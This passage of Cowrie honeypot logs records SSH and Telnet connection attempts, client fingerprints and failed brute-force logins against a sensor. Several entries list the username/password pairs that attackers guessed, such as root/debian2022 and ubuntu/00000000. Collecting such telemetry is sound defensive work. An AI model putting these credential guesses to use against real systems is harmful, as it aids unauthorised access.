sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:50.450124Z","src_ip":"14.225.205.58","session":"af69f9aebe2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian2022","message":"login attempt [root/debian2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:51.552756Z","src_ip":"14.225.205.58","session":"af69f9aebe2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:52.821682Z","src_ip":"14.225.205.58","session":"af69f9aebe2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45364,"dst_ip":"159.203.135.109","dst_port":23,"session":"acfb787ec27c","protocol":"telnet","message":"New connection: 206.54.191.52:45364 (159.203.135.109:23) [session: acfb787ec27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:54.363385Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48628,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea6b4af743e","protocol":"telnet","message":"New connection: 206.54.191.52:48628 (159.203.135.109:23) [session: aea6b4af743e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:56.361627Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49646,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e675e6355a2","protocol":"telnet","message":"New connection: 206.54.191.52:49646 (159.203.135.109:23) [session: 2e675e6355a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:57.389330Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":51872,"dst_ip":"159.203.135.109","dst_port":23,"session":"b666078895ec","protocol":"telnet","message":"New connection: 206.54.191.52:51872 (159.203.135.109:23) [session: b666078895ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:59.405996Z"}
{"eventid":"cowrie.session.closed","duration":31.667102575302124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:02.957020Z","src_ip":"206.54.191.52","session":"955a963bb90b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":38362,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fa682368f5","protocol":"ssh","message":"New connection: 141.11.21.145:38362 (10.17.0.5:22) [session: 05fa682368f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:07.811460Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:07.902970Z","src_ip":"141.11.21.145","session":"05fa682368f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":38372,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7eef00cb3e6","protocol":"ssh","message":"New connection: 141.11.21.145:38372 (10.17.0.5:22) [session: c7eef00cb3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:07.983156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:08.066146Z","src_ip":"141.11.21.145","session":"c7eef00cb3e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:08.150905Z","src_ip":"141.11.21.145","session":"c7eef00cb3e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:08.412234Z","src_ip":"141.11.21.145","session":"c7eef00cb3e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:09.502411Z","src_ip":"141.11.21.145","session":"c7eef00cb3e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38970,"dst_ip":"159.203.135.109","dst_port":23,"session":"d03cc1fb08b9","protocol":"telnet","message":"New connection: 206.54.191.52:38970 (159.203.135.109:23) [session: d03cc1fb08b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:13.644263Z"}
{"eventid":"cowrie.session.closed","duration":31.050467491149902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:15.241296Z","src_ip":"206.54.191.52","session":"cbb7eb4f8180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":41338,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab14bb28fdff","protocol":"telnet","message":"New connection: 206.54.191.52:41338 (159.203.135.109:23) [session: ab14bb28fdff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:16.663332Z"}
{"eventid":"cowrie.session.closed","duration":30.77162003517151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:25.134940Z","src_ip":"206.54.191.52","session":"acfb787ec27c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":52946,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d84893c304e","protocol":"telnet","message":"New connection: 206.54.191.52:52946 (159.203.135.109:23) [session: 5d84893c304e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:26.119389Z"}
{"eventid":"cowrie.session.closed","duration":30.74366307258606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:27.105126Z","src_ip":"206.54.191.52","session":"aea6b4af743e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914467573165894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:28.303702Z","src_ip":"206.54.191.52","session":"2e675e6355a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128278732299805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:30.534194Z","src_ip":"206.54.191.52","session":"b666078895ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58210,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6f829ef9b9","protocol":"telnet","message":"New connection: 206.54.191.52:58210 (159.203.135.109:23) [session: 9d6f829ef9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:31.181214Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38462,"dst_ip":"159.203.135.109","dst_port":23,"session":"643dd728f126","protocol":"telnet","message":"New connection: 206.54.191.52:38462 (159.203.135.109:23) [session: 643dd728f126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:39.052673Z"}
{"eventid":"cowrie.session.closed","duration":30.585233449935913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:44.229329Z","src_ip":"206.54.191.52","session":"d03cc1fb08b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44666,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2fd3e2380b5","protocol":"telnet","message":"New connection: 206.54.191.52:44666 (159.203.135.109:23) [session: b2fd3e2380b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:46.170050Z"}
{"eventid":"cowrie.session.closed","duration":30.96923065185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:47.632439Z","src_ip":"206.54.191.52","session":"ab14bb28fdff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":56242,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4800d10a17e","protocol":"ssh","message":"New connection: 14.225.205.58:56242 (10.17.0.5:22) [session: b4800d10a17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:49.852309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:49.856499Z","src_ip":"14.225.205.58","session":"b4800d10a17e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:50.118418Z","src_ip":"14.225.205.58","session":"b4800d10a17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester11","message":"login attempt [tester/tester11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:51.199243Z","src_ip":"14.225.205.58","session":"b4800d10a17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:52.464184Z","src_ip":"14.225.205.58","session":"b4800d10a17e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":40562,"dst_ip":"159.203.135.109","dst_port":23,"session":"5548f0de86b7","protocol":"telnet","message":"New connection: 206.54.191.52:40562 (159.203.135.109:23) [session: 5548f0de86b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:57.479467Z"}
{"eventid":"cowrie.session.closed","duration":31.481292009353638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:25:57.600554Z","src_ip":"206.54.191.52","session":"5d84893c304e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58010,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c538b693028","protocol":"telnet","message":"New connection: 206.54.191.52:58010 (159.203.135.109:23) [session: 3c538b693028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:00.638203Z"}
{"eventid":"cowrie.session.closed","duration":30.937118530273438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:02.118197Z","src_ip":"206.54.191.52","session":"9d6f829ef9b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12094855308533,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:11.173510Z","src_ip":"206.54.191.52","session":"643dd728f126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.560770750045776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:17.730744Z","src_ip":"206.54.191.52","session":"b2fd3e2380b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.147.111","src_port":34558,"dst_ip":"10.17.0.5","dst_port":22,"session":"defaecbddfb3","protocol":"ssh","message":"New connection: 120.48.147.111:34558 (10.17.0.5:22) [session: defaecbddfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:19.741891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:19.746312Z","src_ip":"120.48.147.111","session":"defaecbddfb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:19.964839Z","src_ip":"120.48.147.111","session":"defaecbddfb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:20.873539Z","src_ip":"120.48.147.111","session":"defaecbddfb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":42200,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dcfdf6d20af","protocol":"ssh","message":"New connection: 201.184.50.251:42200 (10.17.0.5:22) [session: 6dcfdf6d20af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:21.543081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:21.587272Z","src_ip":"201.184.50.251","session":"6dcfdf6d20af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:21.677261Z","src_ip":"201.184.50.251","session":"6dcfdf6d20af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"00000000","message":"login attempt [ubuntu/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:22.040653Z","src_ip":"201.184.50.251","session":"6dcfdf6d20af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:22.095302Z","src_ip":"120.48.147.111","session":"defaecbddfb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:23.136856Z","src_ip":"201.184.50.251","session":"6dcfdf6d20af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.00874614715576,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:30.488086Z","src_ip":"206.54.191.52","session":"5548f0de86b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97232174873352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:31.610419Z","src_ip":"206.54.191.52","session":"3c538b693028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":37016,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a0cb37fc575","protocol":"ssh","message":"New connection: 14.225.205.58:37016 (10.17.0.5:22) [session: 7a0cb37fc575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:51.726815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:51.731738Z","src_ip":"14.225.205.58","session":"7a0cb37fc575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:52.015405Z","src_ip":"14.225.205.58","session":"7a0cb37fc575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"invite","message":"login attempt [guest/invite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:53.180101Z","src_ip":"14.225.205.58","session":"7a0cb37fc575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:26:54.484106Z","src_ip":"14.225.205.58","session":"7a0cb37fc575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":49482,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea8599e0107f","protocol":"ssh","message":"New connection: 14.225.205.58:49482 (10.17.0.5:22) [session: ea8599e0107f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:27:53.002473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:27:53.007315Z","src_ip":"14.225.205.58","session":"ea8599e0107f","protocol":"ssh"}
